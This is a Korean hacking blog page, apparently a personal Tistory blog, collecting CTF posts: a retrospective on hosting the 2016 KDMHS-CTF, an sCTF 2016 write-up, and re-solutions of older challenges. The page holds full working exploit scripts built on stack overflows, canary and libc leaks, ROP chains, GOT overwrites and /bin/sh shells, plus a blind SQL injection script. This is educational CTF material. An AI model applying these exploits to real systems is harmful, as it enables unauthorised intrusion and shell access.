2016 KDMHS-CTF 주최 후기

CTF 2016. 5. 15. 18:46


내가 이렇게 전국적인 단위로 대회를 열고, 출제자 및 운영진이 될 일이 있을 줄은 몰랐다.

내가 알기로 디미고에서 전국 단위로 해킹보안대회를 연 것은 이번이 처음이다.

문제를 출제하면서 알게 된 지식과 교훈이 꽤나 된다.


대회를 참가하는 모든 참가자들의 수준을 고려한 다양한 난이도의 문제를 제작해야 하기 때문에 너무 어렵거나 너무 쉽게 한 쪽에 치중해 버리면 대회가 성립하지 않아 버리는데, 이번에는 처음이었음에도 불구하고 난이도를 적절하게 잘 잡았다고 본다.

대회가 시작하기 전에는 대략 10개정도 되는 문제를 준비해 놓고 있었는데, 너무 수준이 낮거나 운이 필요한 문제들은 가능한 보류하도록 하다 보니 실제로 출제한 수는 그리 많지 않았다.

총 8문제를 내었고, 한 명도 못 푼 문제는 존재하지 않았다.

웹 문제는 아무리 생각해도 그렇게 어렵지 않았는데 한 명씩밖에 풀지 못해서 꽤나 의아한 결과였다.


아직 대회 참가자들의 반응을 제대로 보지 못해서 내 문제에 대한 평가가 어떤지는 모르겠는데 아무쪼록 욕만 먹지 않았으면 좋겠다.

이번에 어쩌다 보니 개인 서버를 하나 얻게 되었는데, 내가 낸 대회 문제들은 거기에 올리고 작동시켜 놓아서 워게임처럼 이후에도 풀 수 있도록 설정해 둘 생각이다.

포너블은 일단 alarm을 설정해서 Connection이 자동으로 종료되도록 설정도 해야 하겠다.


솔직히 요즘 여러 가지 할 일들이 많이 겹쳐서 바쁜데 대회 주최까지 겹쳐서 밤까지 샌 상태로 작업을 하려다 보니 힘들기도 했다.

그래도 생에 처음으로 이런 큰 대회를 주최해 봤고, 많은 경험을 쌓을 수 있었던 것도 정말 좋았다.


문제들을 정말 열심히 풀어주셨던 참가자들께도 감사의 말씀을 드리고 싶다.

이 대회가 내년에도 후배들에 의해 운영될지는 모르겠지만, 기회가 된다면 출제자로 다시 한번 기여해보고 싶다.

'CTF' 카테고리의 다른 글

2016 KDMHS-CTF 주최 후기  (3) 2016.05.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요





멍청하게 트리거도 안해놓고 libc 릭이 안된다고 답답해 미쳐가고 있었다...

덮어쓴 버퍼 위치정도는 잘 확인하자 ㅠㅠ

(그건 그렇고 pwntools 진짜 편하네)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from hackutil import *
from pwn import *
 
#============================
HOST = 'localhost'
PORT = 31335
 
offset_write_system = 0xd9510 - 0x3fcd0
name_address = 0x0804D7A0
pppr = 0x8049acd
binary = ELF('/home/skyclad/bin/watermelon')
#============================
 
conn = remote(HOST, PORT)
 
print " =============== [ Phase 1 : Canary Leak ] =============== "
 
conn.recvuntil('name : ')
conn.sendline('/bin/sh')
 
conn.recvuntil('select\t|\t\n')
 
for i in range(100):
    conn.sendline('1')
    conn.recvuntil('music')
    conn.sendline('1')
    conn.recvuntil('artist')
    conn.sendline('1')
    conn.recvuntil('select')
 
conn.sendline('3')
conn.recvuntil('number')
conn.sendline('100')
conn.recvuntil('music')
conn.sendline('5kyc1ad')
conn.recvuntil('artist')
conn.sendline('A'*20)
conn.recvuntil('select')
conn.sendline('2')
conn.recvuntil('A'*20)
 
canary = up32("\x00"+conn.recv(4)[1:])[0]
print "[*] Find Canary : "+str(hex(canary))
 
print " =============== [ Phase 2 : Libc Leak ] =============== "
 
conn.recvuntil('select')
 
conn.sendline('3')
conn.sendline('100')
conn.sendline('5kyc1ad')
 
payload = 'A'*20 + p32(canary) + 'A'*(8+4)
payload += p32(binary.plt['write']) + p32(pppr) + p32(1+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['read']) + p32(pppr) + p32(0+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['write']) + 'AAAA' + p32(name_address)
 
conn.sendline(payload)
conn.recvuntil('select')
conn.sendline('4')
conn.recvuntil('BYE BYE\n\n')
 
write_lib = up32(conn.recv(4))[0]
print "[*] Find write_lib : " + str(hex(write_lib))
system_lib = write_lib - offset_write_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
print " =============== [ Phase 3 : Got Overwrite ] ================ "
conn.send(p32(system_lib))
print "[*] Get Shell"
conn.interactive()
 
cs


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

2016 sCTF Write-up

CTF/Write-up 2016. 4. 17. 00:29






혼자 참가했습니다.

팀명은 "Ar@Kor" 였고, 주말에 한시간쯤 잡고 평일에 조금씩 잡고 풀었습니다.

한국에서 참가한 다른 팀들은 놀면서 풀었는지 좀 밑에 있어서 놀랐습니다.


저걸 다 쓰기에는 양도 많고, 재미없는 문제들도 몇개 있어서 재밌었던거라던가, 올릴만한것만 올리겠습니다.

안올릴 문제들은 간단하게 설명만 하겠습니다.




When in Rome


그냥 엄청 간단한 Caesar Cipher 암호입니다.

Caesar Cipher Decoder/Decrypt 등으로 검색해서 돌리면 풀립니다.

Caesar 암호는 보안 공부하기 시작하고 직후에 배운 암호라 기억에 많이 남아있네요.




Banana Boy


스테가노그래피 문제였던걸로 기억합니다.

헥스에디터로 열어보면 뒷부분에 이미지 파일이 있고, 열어보면 키가 있었습니다.




rev1


말할 필요가 있나요.

그냥 키가 하드코딩되어있었습니다.




Ducks


source.php 에 들어가면 소스가 보이는 것을 알 수 있습니다.

이것을 보면 인자로 특정 값을 더 받는데, 그 인자는 form에 포함되어 있지 않기 때문에 해당 인자를 포함시켜줘야 합니다.

이 인자와 원래 들어가는 인자가 같을 경우 통과되기 때문에 같은 값을 넣어주면 됩니다.

저는 Fiddler를 이용해서 인자 부분을  pass=123&thepassword_123=123 형식으로 입력하고 보내서 플래그를 얻었습니다.




rev2


rev1이랑 크게 다를바가 없습니다.

하드코딩되어있는데, 리틀엔디안 방식으로 보이게 되어있기 때문에 IDA에서 4글자씩 문자열로 변환한 뒤

엔디안에 맞춰서 배열해주면 그것이 플래그입니다.




Lengthy Lingo


파일을 열어보면 뭔가 랜덤한 정수들이 나열되어 있고, ',' 로 각각이 구분되어 있습니다.

처음에는 조금 헤메었는데, ',' 로 나눈 후 각각의 길이를 재 보니 전부 ASCII 값이어서 이거다 싶어서 파이썬으로 코드를 짜서 돌렸습니다.

결국 제목의 Length라는 문자열이 힌트였던 셈이었습니다.

코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
= open('encrypted.dat''r')
data = f.read()
f.close()
data = data.split(', ')
 
req = ""
for i in data:
    req += chr(len(i))
print req
cs





Secure Text Saver


APK 리버싱 문제였습니다.

해당 jar 파일 내부에는 Account.class와 Login_Page.class가 있는데, 이 중 Login_Page.class 를 디컴파일하여 확인해 보면,


이런 부분이 있고, 이게 ID와 Password인 것을 알 수 있습니다.

그대로 입력하면 플래그가 등장합니다.




Cookies


마찬가지로 APK 리버싱 문제입니다.

이를 디컴파일하여 내부를 살펴 보면

이런 루틴이 있습니다.

md5한 값이 저 값이 되어야 하므로, 이를 hashkiller 등에서 찾아 보면 'thisisaverystrongpassword' 라는 문자열임을 알 수 있습니다.

이를 입력하면 플래그가 들어 있던 창이 나타납니다.




pwn1


32비트 포너블 문제입니다.

Demon으로 서비스가 작동하고 있었고, C++로 짜여 있었습니다.

코드는 매우 심플했습니다.



처음엔 이걸 보고 C++인걸 알고 엄청 질려버려서 바로 닫아버렸는데, 나중에 잡고 보니 매우 쉬운 문제였습니다.

우선 fgets로 s라는 stack 기반 char형 배열에 32글자를 받아옵니다.

여기만으로는 오버플로우가 불가능하지만,


이후 이를 std::string에 담아서 'I'라는 문자열을 'you'라는 문자열로 바꿉니다.

이후 c_str을 이용해 std::string이었던 string형을 다시 s에 복사합니다.

이로 인해 한 글자였던 'I'가 세 글자인 'you'로 바뀌게 되어 return address를 덮어쓸수 있게 됩니다.


여기서 고생해버린게, 그냥 문자열 목록을 보니 "cat flag.txt" 가 보이고 system 함수가 있길래

이를 이용해서 RTL로 풀려고 했었는데, 이상하게 한 글자정도가 부족하여 실행이 되지 않았습니다.

몇 시간동안 삽질을 하다 다시 함수 목록을 확인해 보니, get_flag라고 하는 함수가 있었고, 이 내부에서는

system("cat flag.txt") 를 실행해주고 있었습니다.

따라서 return address를 이 함수의 주소로 넣어주는 것으로 플래그를 얻을 수 있었습니다.


페이로드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hackutil import *
from socket import *
from telnetlib import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1337
 
command = 0x080497F0
system_plt = 0x08048C40
system_got = 0x0804B028
printf = 0x0804B060
 
target = 0x08048F0D
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
payload = "I"*21 + "A" + p32(target)
 
print len(payload)
 
sock.send(payload+'\n')
 
= Telnet()
t.sock = sock
t.interact()
cs




pwn2


이게 오히려 pwn1보다 더 시간이 덜 걸렸습니다.


코드도 심플합니다.

입력할 길이를 확인해서 32 이하일 경우에만 해당 길이만큼 문자열을 입력받게 해주는데,

-1 등 음수를 입력하면 unsigned로 바꾸었을 때, 매우 큰 숫자가 되므로 이를 이용해 char형 배열인 nptr을 오버플로우 할 수 있습니다.

이후는 간단한 ROP입니다.


코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from hackutil import *
from socket import *
from telnetlib import *
from time import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1338
printf_plt = 0x08048370
libc_main_got = 0x0804A018
setvbuf_got = 0x804A01C
vuln = 0x0804852F
offset_libc_main_system = 0x19990 - 0x40190
offset_libc_main_binsh = 0x19990 - 0x160A24
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
# libc_main Leak
 
print sock.recv(1024)
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(printf_plt) + p32(vuln) + p32(libc_main_got)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
data = sock.recv(1024)
 
libc_main_lib = up32(data[:4])[0]
print "[*] Find libc_main_lib : " + str(hex(libc_main_lib))
 
system_lib = libc_main_lib - offset_libc_main_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
binsh = libc_main_lib - offset_libc_main_binsh
print "[*] Find /bin/sh : " + str(hex(binsh))
 
# Attack
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(system_lib) + 'AAAA' + p32(binsh)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs





Verticode, Vertinet


이 둘은 매우 비슷한 문제였기 때문에 함께 쓰겠습니다.

verticode는 매우 긴 이미지 파일을 하나 주고, 이 안에 들어 있는 색과 흑백값을 이용해 ASCII로 변환하는 문제였습니다.

한 줄당 하나의 색과 총 8개의 흑백값이 주어졌으며 이를 분석하기 위해 python image library를 사용하였습니다.

vertinet은 verticode와 같은 형식이지만, 특정 포트로 접속하여 이미지 소스를 받은 후 이를 Base64 decode하여 이미지 파일로 저장하고,

해독 후 다시 서버로 응답하는 과정을 (정확히는 기억이 잘 안나지만) 60회정도 반복하면 플래그를 보내주는 문제였습니다.

둘 모두 소스를 올리도록 하겠습니다.


<verticode>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from PIL import Image
 
# 84 * 12 = Color  +  12 * 12 * 8 = Code
# 0 RED     : 255 0 0
# 1 Purple     : 128 0 128
# 2 Blue    : 0 0 255
# 3 Green    : 0 128 0
# 4 Yellow    : 255 255 0
# 5 Orange    : 255 165 0
 
flag = ""
 
im = Image.open('code1.png')
width, height = im.size
print "width : %d, height : %d" % (width, height)
 
rgb_im = im.convert('RGB')
 
for i in range(01290012):
    r, g, b = rgb_im.getpixel((1, i+1))
    #print r, g, b # GET COLOR
    color_store = str(r)+"."+str(g)+"."+str(b)
 
 
    code_store = ""
    for j in range(8416812):
        r, g, b = rgb_im.getpixel((j+1, i+1))
        if r==255 and g==255 and b==255:
            code_store += "0"
        else:
            code_store += "1"
    #print code_store
 
    code = int(code_store, 2)
    if color_store == "255.0.0":
        pass
    elif color_store == "128.0.128":
        code -= 1
    elif color_store == "0.0.255":
        code -= 2
    elif color_store == "0.128.0":
        code -= 3
    elif color_store == "255.255.0":
        code -= 4
    elif color_store == "255.165.0":
        code -= 5
    else:
        print "[Error] " + color_store
    print chr(code)
    flag += chr(code)
print "[*] Find : "+flag
cs



<vertinet>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from socket import *
from base64 import *
from PIL import Image
import httplib
 
HOST = 'problems1.2016q1.sctf.io'
PORT = 50000
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
while(True):
    try:
        data = sock.recv(10000)
        if "base64" not in data:
            break
        data = data[data.find('base64,')+7:data.find("'></img><br>")]
 
        f = open('tmp.png''wb')
        f.write(b64decode(data))
        f.close()
 
        print "[*] Image Saved"
 
        flag = ""
 
        im = Image.open('tmp.png')
        width, height = im.size
        print "width : %d, height : %d" % (width, height)
 
        rgb_im = im.convert('RGB')
 
        for i in range(0, height, 12):
            r, g, b = rgb_im.getpixel((1, i+1))
            #print r, g, b # GET COLOR
            color_store = str(r)+"."+str(g)+"."+str(b)
 
 
            code_store = ""
            for j in range(8416812):
                r, g, b = rgb_im.getpixel((j+1, i+1))
                if r==255 and g==255 and b==255:
                    code_store += "0"
                else:
                    code_store += "1"
            #print code_store
 
            code = int(code_store, 2)
            if color_store == "255.0.0":
                pass
            elif color_store == "128.0.128":
                code -= 1
            elif color_store == "0.0.255":
                code -= 2
            elif color_store == "0.128.0":
                code -= 3
            elif color_store == "255.255.0":
                code -= 4
            elif color_store == "255.165.0":
                code -= 5
            else:
                print "[Error] " + color_store
            flag += chr(code)
        print "[*] Find : "+flag
 
        sock.send(flag)
    except:
        print data
print data
cs




President


간단한 웹 문제였는데 푸는데 삽질을 해버려서 시간이 좀 오래걸렸습니다.

페이지에 들어가면 대통령 후보인지는 잘 모르겠지만 어쨌든 다섯 명쯩 되는 사진이 있고

검색할 수 있는 form이 하나 있는 것을 볼 수 있습니다.

대충 넣어보기만 해도 SQL Injection 취약점이 있는 것을 알 수 있었고, 이를 이용해 Blind SQL Injection을 진행했습니다.

이걸로 키만 바로 뽑으면 되는데 comment에 limit 0~3까지 아무 값도 안나오길래 이미지 URL도 뽑고 온갖 value를 다 뽑았었는데

결국 limit 4,1에서인지 5,1에서인지 플래그 값이 등장해서 문제를 허무하게 풀었습니다. 

이번에 이진 탐색으로 BSQLi 소스를 짜게 되는 계기가 되어 이후 문제를 좀 더 빨리 풀 수 있게 되었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import httplib
import urllib
 
#======================= Config ======================
isGET = False
printLog = False
 
PASSWD_LENGTH = 100
TARGET = "president.sctf.michaelz.xyz"
URL = "/"
PORT = 80
SUCCESS = "<td>Hillary</td>"
 
HEADER = {
    "Content-Type":"application/x-www-form-urlencoded",
    "Cookie":"_cfduid=d941155476c769c74216d245c25c99e411460529242"
}
#=====================================================
 
req = ""
checklast = False
 
print "[*] Blind SQL Injection to '"+TARGET+":"+str(PORT)+URL+"' Start"
print "[*] Printing Log : " + str(printLog)
if isGET == True:
    print "[*] HTTP Method : GET"
else:
    print "[*] HTTP Method : POST" 
 
for k in range(56):
    for i in range(24, PASSWD_LENGTH):
        left = 32
        right = 127
        mid = (left+right)/2
        while True:
            conn = httplib.HTTPConnection(TARGET, PORT)
            PARAM = urllib.urlencode({
                #"search":"aaa' or ascii(substr((select table_name from information_schema.tables limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                #"search":"aaa' or ascii(substr((select column_name from information_schema.columns where table_name='candidates' limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                "search":"aaa' or ascii(substr((select comment from candidates limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
            })
            if printLog:
                print "[%d][%d][%d]" % (k, i, mid)
 
            if isGET==True:
                conn.request('GET', URL+"?"+PARAM, "", HEADER)
            else:
                conn.request('POST', URL, PARAM, HEADER)
            res = conn.getresponse().read()
 
            if SUCCESS in res:
                if mid == left:
                    print "[*] Find : "+chr(right)
                    req += chr(right)
                    break
                elif mid == right:
                    print "[*] Find : "+chr(left)
                    req += chr(left)
                    break
                left = mid
                mid = (left+right)/2
                checklast = False
 
            else:
                if mid == left or mid == right:
                    print "[*] Find String : " + req
                    checklast = True
                    break
                right = mid
                mid = (left+right)/2
        if checklast:
            req = ""
            break
 
# table : candidates
 
# The Hacker Anonymous
 
# Flag : sctf{why_do_people_still_make_sites_like_this}
 
cs






################# 후기 ##################


심심해서 참가해 본 대회지만 의외로 풀만한 문제가 엄청 많아서 재밌었습니다.

나중에 다른 사람들과 팀도 짜서 제대로 한번 나가보고 싶네요.

(난민은 웁니다 엉엉)


'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요



왜 이걸 대회때 못풀고 이제야 푸는지 모르겠다.

이렇게 간단한 문제를... (이불킥


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from socket import *
from time import *
from telnetlib import *
import struct
 
#============================
system_got = 0x080484F0
#============================
 
p32 = lambda x: struct.pack('<L', x)
 
HOST = '192.168.206.129'
PORT = 31330
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
print sock.recv(1024)
print sock.recv(1024)
 
sock.send('1\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('1\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('Name\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('A'*4+p32(system_got)+'A'*71+'0')
sleep(0.1)
print sock.recv(1024)
 
sock.send('2\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('0\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('/bin/sh\x00\n')
sleep(0.1)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요


Codegate 2016 Junior Prequal Write-up.pdf


'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요


라이브러리에서 구한 주소가 실제 내 라이브러리에서 했을 때 주소랑 다른걸 인지하지 못하고

계속 이상한 주소로 라이브러리가 구해지는 바람에 고생한 문제.

대회 환경과 같은 환경이 아니라는걸 명심하고 풀자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from time import *
from pwn import *
import struct
 
up32 = lambda x:struct.unpack('<L', x)[0]
p32 = lambda x:struct.pack('>L', x)
 
_bin = '/home/guest/bin/nuclear/nuclear'
 
elf = ELF(_bin)
rop = ROP(_bin)
 
recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
offset_recv_system = 0x17bf50
bss = elf.bss()
vuln_func = 0x08048b5b
 
leak = 'A'*0x200
 
print "[*] recv@plt : %s" % str(hex(recv_plt))
print "[*] recv@got : %s" % str(hex(recv_got))
print "[*] send@plt : %s" % str(hex(send_plt))
print "[*] offset_recv_system : %s" % str(hex(offset_recv_system))
print "[*] bss : %s" % str(hex(bss))
 
#============== Passcode Leak & Library leak
 
conn = remote('localhost'1129)
 
conn.send('target')
sleep(0.3)
conn.send('1234.12341234/1234.12341234')
sleep(0.3)
conn.send(leak)
conn.recvuntil(leak)
passcode =  conn.recvuntil('\n')[8:][:-1]
conn.recv()
print "[*] Passcode : %s" % passcode
 
conn.send('launch\n')
sleep(0.1)
conn.send(passcode+"\n")
conn.recvuntil(': 100')
 
rop.send(4, recv_got, 40)
rop.recv(4, bss, 0x1000)
rop.raw(vuln_func)
rop.raw(0)
rop.raw(4)
payload = 'A'*(0x20c+4+ str(rop)
conn.send(payload)
sleep(0.1)
recv_lib = up32(conn.recvn(4))
system_lib = recv_lib - offset_recv_system
 
conn.send('/bin/cat ./key >&4\x00')
 
print "[*] recv_lib : %s" % str(hex(recv_lib))
print "[*] system_lib : %s" % str(hex(system_lib))
 
#============== Exploit
 
rop = ROP(elf)
rop.call(system_lib, [bss])
payload = "A"*(0x20c+4)+str(rop)
conn.send(payload)
print "[*] Key : "+conn.recv()
 
conn.close()
cs





역시 쉘을 따는건 귀찮았던 관계로 이렇게 키값만 가져오도록 했다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

이미 풀었던 문제이지만 이번 해킹캠프에서도 봤듯이 익스플로잇을 꽤 편하게 해주는 pwntools를 이용하여

다시 한번 익스플로잇을 짜고 돌려 보았다.

여기서 다시한번 알게된 사실은, 문제와 함께 주어지는 라이브러리 파일은 엄연히 대회 때의 라이브러리로,

내 서버나 로컬에서 돌릴 경우에는 당연하게도 라이브러리가 바뀌므로 해당 라이브러리 파일을 분석해서 offset을 구해도

문제를 푸는 데에 아무런 도움을 주지 않는다는 점이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import struct
 
_bin = '/home/guest/bin/ropasaurusrex/ropasaurusrex'
 
elf = ELF(_bin)
rop = ROP(elf)
 
up32 = lambda x:struct.unpack('<L', x)[0]
 
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
vuln_func = 0x080483f4
 
print "[*] read@plt : %s" % str(hex(read_plt))
print "[*] read@got : %s" % str(hex(read_got))
print "[*] write@plt : %s" % str(hex(write_plt))
print "[*] write@got : %s" % str(hex(write_got))
print "[*] offset_read_system : %s" % str(hex(offset_read_system))
print "[*] offset_binsh_read : %s" % str(hex(offset_binsh_read))
 
conn = remote('localhost'51000)
 
rop.write(1, read_got, 4)
rop.raw(vuln_func)
 
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
read_lib = up32(conn.recvn(4))
system_lib = read_lib - offset_read_system
binsh = read_lib + offset_binsh_read
 
print "[*] read@lib : %s" % str(hex(read_lib))
print "[*] system@lib : %s" % str(hex(system_lib))
print "[*] /bin/sh : %s" % str(hex(binsh))
 
rop = ROP(elf)
rop.call(system_lib , [binsh])
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
conn.interactive()
cs






확실히 푸는데에 직접 got, plt를 구하지 않아도 된다는 점이나 길이를 정해서 recv가 가능한 점,

알아서 rop를 구성해 주는 점 등은 정말 편하고 쓰기 좋았다.

하지만 유의할 점은, 익숙하지 않은 상태에서 억지로 이 툴을 사용해 익스플로잇을 하려고 하면

무슨 함수를 사용해야 하는지 등을 모르기 때문에 오히려 더 시간이 오래 걸릴 수도 있다는 것이다.

좀 더 확실하게 익히기 위해서 다른 문제들도 pwntools를 이용해 재풀이를 해봐야겠다.

'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요



( 문제 서버가 닫혀서 이미지는 따로 첨부하지 않겠습니다. )



13th HackingCamp CTF Write-up.pdf


이번 팀명은 'CPerl' 이었습니다.

C 언어와 Perl 언어를 합쳐서 지은 이름으로, CTF 도중 튀어나오는 비속어들을 합법적으로 입밖으로 배출시키기 위하여 지은 이름이라고 합니다.

저는 전체 문제 중 웹 2문제, 포너블 6문제를 풀었습니다.

저번 12회 해킹캠프처럼 혼자 대부분의 문제를 풀어서 1위를 하는, 그런 영웅극(?)을 한번 더 찍어보고 싶었지만

이번에는 12회에 비해 문제 유형이 더욱 다양해지고 난이도도 올랐기 때문에 그렇게 하는 것은 쉽지가 않았습니다.

게다가 후배가 속했던 팀이 엄청 문제를 잘 풀어서 도저히 따라잡을수도 없었습니다.

결국 3위로 CTF를 마무리하게 되어 조금 아쉽다고 생각하고 있습니다.


마지막까지 열심히 풀어준 팀장님과 팀원들께도 고맙다는 말을 남기고 싶습니다.

다른 CTF에서도 열심히 문제를 풀도록 하겠습니다.

'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

처음 실행했을때 깜짝 놀랐다.

일단 PEiD로 봤을때는 딱히 이상한 점은 없었는데,

IDA로 까보니 뭔가 안티디버깅 함수들이 있었다.

의미 없었지만.



(음? 누구시라구요?)


(히익 Egoist?!)

All alone with you 의 앨범 표지였던가 했던것 같다. 

어쨌든 이런 창 하나 띄워주고, 입력도 안받는다.

어디서 입력해야되는지도 모르겠고 그냥 분석하기로 했는데...




IDA로 까니까 이렇게 특정 문자열과 비교하는 부분이 있다.

간단하게 XOR, 뺄셈 후 비교하기만 하는 부분이므로

간단하게 역연산 해주면 풀린다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string = 'C;@R'
enc = []
dec = ""
 
for i in string:
    enc.append(ord(i))
 
for i in range(16):
    enc[0= enc[0] ^ 3
    enc[0= enc[0+ i
 
for i in range(15):
    enc[1= enc[1] ^ 4
    enc[1= enc[1+ i
    
for i in range(14):
    enc[2= enc[2] ^ 5
    enc[2= enc[2+ i
 
for i in range(13):
    enc[3= enc[3] ^ 6
    enc[3= enc[3+ i
 
for i in enc:
    dec += chr(i)
 
print "Decrypted : " + dec
cs








블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

뭔가 엄청 오랜만에 풀어본 것 같은 로컬 익스플로잇 문제였다.

분석하는 데에 몇 시간 걸렸는데 막상 제대로 익스플로잇 짠 시간은 몇분...

이 프로그램이 뭐하는 프로그램인지 제대로 분석해야 뭔가를 할 수 있다고 생각해서 보자마자 분석했는데,

그러길 잘한 것 같다.


이 문제만의 포맷으로 새로운 파일을 읽어들이는 방식을 만들어 둔 거라 규칙에 맞게 파일을 만들어야 한다.


왠지 코어파일이 덮어씌워지지가 않아서 한참을 삽질했다 (-_-;;


ulimit -s unlimited 로 시스템과 binsh를 알아낸 후 RTL로 풀면 간단하게 풀 수 있다.

터지는 부분은 출력 함수 부분에서 size2 에 &i를 대입했기 때문에 일어나는 스택 오버플로우.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
